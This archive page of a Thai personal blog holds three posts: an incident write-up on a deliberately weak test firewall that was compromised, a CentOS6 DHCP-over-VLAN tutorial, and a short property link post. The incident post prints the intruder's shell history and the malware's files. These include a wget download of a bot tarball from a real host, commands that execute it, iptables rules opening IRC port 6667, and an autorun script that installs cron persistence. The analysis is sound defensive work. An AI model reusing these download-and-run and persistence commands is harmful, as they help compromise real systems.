การ์ตูนเป็น influencer ได้เลยนะเนี่ย
News for September 2011
Cufflink
The hacker ep 1
firewall โดน hack ครับ…
จริงๆ คือเปิดไว้ให้ hack นั่นแหละ เพราะ ตั้งให้ ssh ผ่าน port 22 แถมยัง ตั้ง password ของ root โคตรง่ายยยยยยยยย
username : root
password : 123456
อีกทั้งภายในตัว firewall ก็ไม่มีอะไร และด้านหลัง firewall ก็ไม่มี client (ตั้ง firewall ไว้ทดสอบ IDS เฉยๆ)
สถานการณ์
login โดยใช้ password เดิม ไม่ได้ จึงคิดว่า โดน hack แน่นอน
จึงทำการ boot เป็น single แล้วแก้ password
ตรวจสอบ
login เข้าเครื่องได้ ได้ปุุ๊บก็ตรวจ history ทันที
1 uname -a
2 cat /proc/cpuinfo
3 uname -a
4 ls -a
5 php -v
6 cat .bash_history
7 cat .bash_history
8 cd /var/tmp
9 ls -a
10 cd thunder
11 ls -a
12 mkdir thunder
13 cd /tmp
14 ls -a
15 mkdir .X10-unix
16 cd .X10-unix
17 mkdir ...
18 cd ...
19 wget http://angellove.ucoz.net/_ld/0/6_crondDts.tgz
20 tar -xzvf 6_crondDts.tgz
21 rm -rf 6_crondDts.tgz
22 cd crondDts
23 ls -a
24 nano m.set
25 chmod +x *
26 ./crond
27 ./autorun
28 iptables -I INPUT -p tcp --dport 6667 -j ACCEPT
29 iptables -I OUTPUT -p tcp --dport 6667 -j ACCEPT
30 /sbin/iptables -I INPUT -d 0/0 -s 0/0 -p tcp --dport 6667 -j ACCEPT
31 /sbin/iptables -I OUTPUT -d 0/0 -s 0/0 -p tcp --dport 6667 -j ACCEPT
32 id
33 passwd
34 ls
พบว่า… hacker พยายาม โหลดอะไรบางอย่างมาติดตั้ง(19) แล้วทำการแก้ไข iptables ให้เปิด port 6667 (28-31)
พบว่า… hacker ช่างไม่รู้เลยว่า… firewall ไม่มี gateway จะโหลดอะไร(19)มาต้อง route add default gw ก่อนนะ(สอน)
พบว่า… hacker อ่อนมาก เพราะพิมพ์ผิดหลายครั้ง แถมยังทำอะไรๆผิดหลายอย่าง = =!
พบว่า… hacker พยายามทำอะไรสักอย่างกับ cron(26)
# crontab -l * * * * * /tmp/.X10-unix/.../crondDts/y2kupdate >/dev/null 2>&1
แต่เนื่องจาก reboot ไปแล้ว จึงไม่ทราบว่า y2kupdate มันคืออะไร
จากการคาดเดาแล้ว hacker คนนี้ไม่ใช่มนุษย์ ต้องเป็น bot ที่ hack ไปเรื่อยๆๆๆๆๆๆ จนกว่าไฟจะดับ network จะล่ม เพราะ y2kupdate มันตั้งแต่ปี 2000 แล้ว(โว้ย)
ย้อนรอย
เนื่องจากไม่ได้เก็บ log file จึงไม่รู้ว่าโดน hack มาจาก IP ไหน (ลืมนั่นเอง)
มันมีอะไร
bot hacker พยายามโหลดอะไรบางอย่าง(ซึ่งไม่สำเร็จ)
เรามาดูกันว่าข้างในมีอะไร …
$ wget http://angellove.ucoz.net/_ld/0/6_crondDts.tgz --2011-09-22 22:03:21-- http://angellove.ucoz.net/_ld/0/6_crondDts.tgz Resolving angellove.ucoz.net... 193.109.247.52 Connecting to angellove.ucoz.net|193.109.247.52|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 270564 (264K) [application/octet-stream] Saving to: `6_crondDts.tgz.2' 100%[======================================>] 270,564 13.1K/s in 13s 2011-09-22 22:03:34 (20.8 KB/s) - `6_crondDts.tgz.2' saved [270564/270564]
ข้างในมี file อยู่ 4 file
$ ls -l total 36 -rw-r--r-- 1 code code 97 2011-06-14 19:43 1 -rw-r--r-- 1 code code 140 2011-06-14 19:43 2 -rw-r--r-- 1 code code 323 2001-10-13 21:38 autorun -rw-r--r-- 1 code code 24576 2011-09-22 22:07 crond
ขอดูข้างในหน่อยซิ
$ cat 1 handle angellove mask *!*@XsmartGuard.users.undernet.org prot 4 channel * access 100 $ cat 2 handle angeloflove mask *!*@XsmartGuard.users.undernet.org prot 4 channel * access 100 $ cat autorun #!/bin/sh pwd > m.dir dir=$(cat m.dir) echo "* * * * * $dir/y2kupdate >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep y2kupdate echo "#!/bin/sh if test -r $dir/m.pid; then pid=\$(cat $dir/m.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > y2kupdate chmod u+x y2kupdate $ file crond crond: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked (uses shared libs), stripped
ผมพยายาม search หาข้อมูลแต่ก็ไม่พบว่า มันคืออะไร แต่เท่าที่ดู น่าจะเป็น Botnet
เอาไว้โดน hack อีกแล้วจะเล่าให้ฟังนะครับ
CentOS6 and DHCP server with vlan
โจทย์ไม่ยาก ไม่ง่าย … แค่ไม่เคยทำ
ความต้องการ
1. dhcp server บน CentOS6
2. แจก ip-address บน subnet ตามต้องการ
3. มี switch layer 2 เป็นตัวแยก vlan
ิวิธีทำ
1. สร้าง vlan id ใน switch ก่อน
ตัวอย่าง

2. ติดตั้ง dhcp server , vconfig
# yum install dhcp vconfig -y
3. load module 802.1q
# modprobe 8021q
check :
# lsmod | grep 8021q 8021q 19587 0 garp 5901 1 8021q
4. สร้าง vlan interfaces
# cat /etc/sysconfig/network-scripts/ifcfg-eth0.2 DEVICE="eth0.2" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.3.2 NETMASK=255.255.255.0 # cat /etc/sysconfig/network-scripts/ifcfg-eth0.3 DEVICE="eth0.3" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.4.2 NETMASK=255.255.255.0 # cat /etc/sysconfig/network-scripts/ifcfg-eth0.4 DEVICE="eth0.4" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.5.2 NETMASK=255.255.255.0 # cat /etc/sysconfig/network-scripts/ifcfg-eth0.5 DEVICE="eth0.5" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.6.2 NETMASK=255.255.255.0 # cat /etc/sysconfig/network-scripts/ifcfg-eth0.6 DEVICE="eth0.6" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.7.2 NETMASK=255.255.255.0 # cat /etc/sysconfig/network-scripts/ifcfg-eth0.7 DEVICE="eth0.7" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.9.2 NETMASK=255.255.255.0 # cat /etc/sysconfig/network-scripts/ifcfg-eth0.8 DEVICE="eth0.8" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.11.2 NETMASK=255.255.255.0 # cat /etc/sysconfig/network-scripts/ifcfg-eth0.9 DEVICE="eth0.9" ONBOOT="yes" BOOTPROTO=none VLAN="yes" IPADDR=10.156.13.2 NETMASK=255.255.255.0
5. สร้าง /etc/dhcp/dhcpd.conf
ddns-update-style interim;
ignore client-updates;
authoritative;
subnet 10.156.3.0 netmask 255.255.255.0 {
option routers 10.156.3.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.3.21 10.156.3.200;
default-lease-time 21600;
max-lease-time 43200;
}
subnet 10.156.4.0 netmask 255.255.255.0 {
option routers 10.156.4.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.4.21 10.156.4.200;
default-lease-time 21600;
max-lease-time 43200;
}
subnet 10.156.5.0 netmask 255.255.255.0 {
option routers 10.156.5.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.5.21 10.156.5.200;
default-lease-time 21600;
max-lease-time 43200;
}
subnet 10.156.6.0 netmask 255.255.255.0 {
option routers 10.156.6.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.6.21 10.156.6.200;
default-lease-time 21600;
max-lease-time 43200;
}
subnet 10.156.7.0 netmask 255.255.255.0 {
option routers 10.156.7.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.7.21 10.156.7.200;
default-lease-time 21600;
max-lease-time 43200;
}
subnet 10.156.9.0 netmask 255.255.255.0 {
option routers 10.156.9.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.9.21 10.156.9.200;
default-lease-time 21600;
max-lease-time 43200;
}
subnet 10.156.11.0 netmask 255.255.255.0 {
option routers 10.156.11.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.11.21 10.156.11.200;
default-lease-time 21600;
max-lease-time 43200;
}
subnet 10.156.13.0 netmask 255.255.255.0 {
option routers 10.156.13.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 208.67.222.222,8.8.8.8;
option time-offset -18000; # Eastern Standard Time
range dynamic-bootp 10.156.13.21 10.156.13.200;
default-lease-time 21600;
max-lease-time 43200;
}
ปล. ปรับได้ตามความเหมาะสม
6. แก้ไข /etc/sysconfig/dhcpd
DHCPDARGS=eth0.2 DHCPDARGS=eth0.3 DHCPDARGS=eth0.4 DHCPDARGS=eth0.5 DHCPDARGS=eth0.6 DHCPDARGS=eth0.7 DHCPDARGS=eth0.8 DHCPDARGS=eth0.9
ปล. ปรับได้ตามความเหมาะสม
7. start ซะ!
# service dhcpd start
BSquare เหม่งจ๋าย – พระราม 9
เนื่องจากเจ้าของ blog ขี้เกียจมาก … จึงขอให้ผู้อ่าน เชิญที่
http://www.yokekungworld.com/2011/09/bsquare-rama9-mengjai-home-office-sansiri/
สั้นๆ ง่ายๆ ก็คือ BSquare คือ บ้าน+ที่ทำงาน
ราละเอียดเพิ่มเติม B-SQUARE RAMA IV – MENGJAI
ปล. รูปทั้งหมด ถ่ายจาก Motorlla Milestone จากฝีมือ ตากล้องโรคจิต จิตป่วง

















































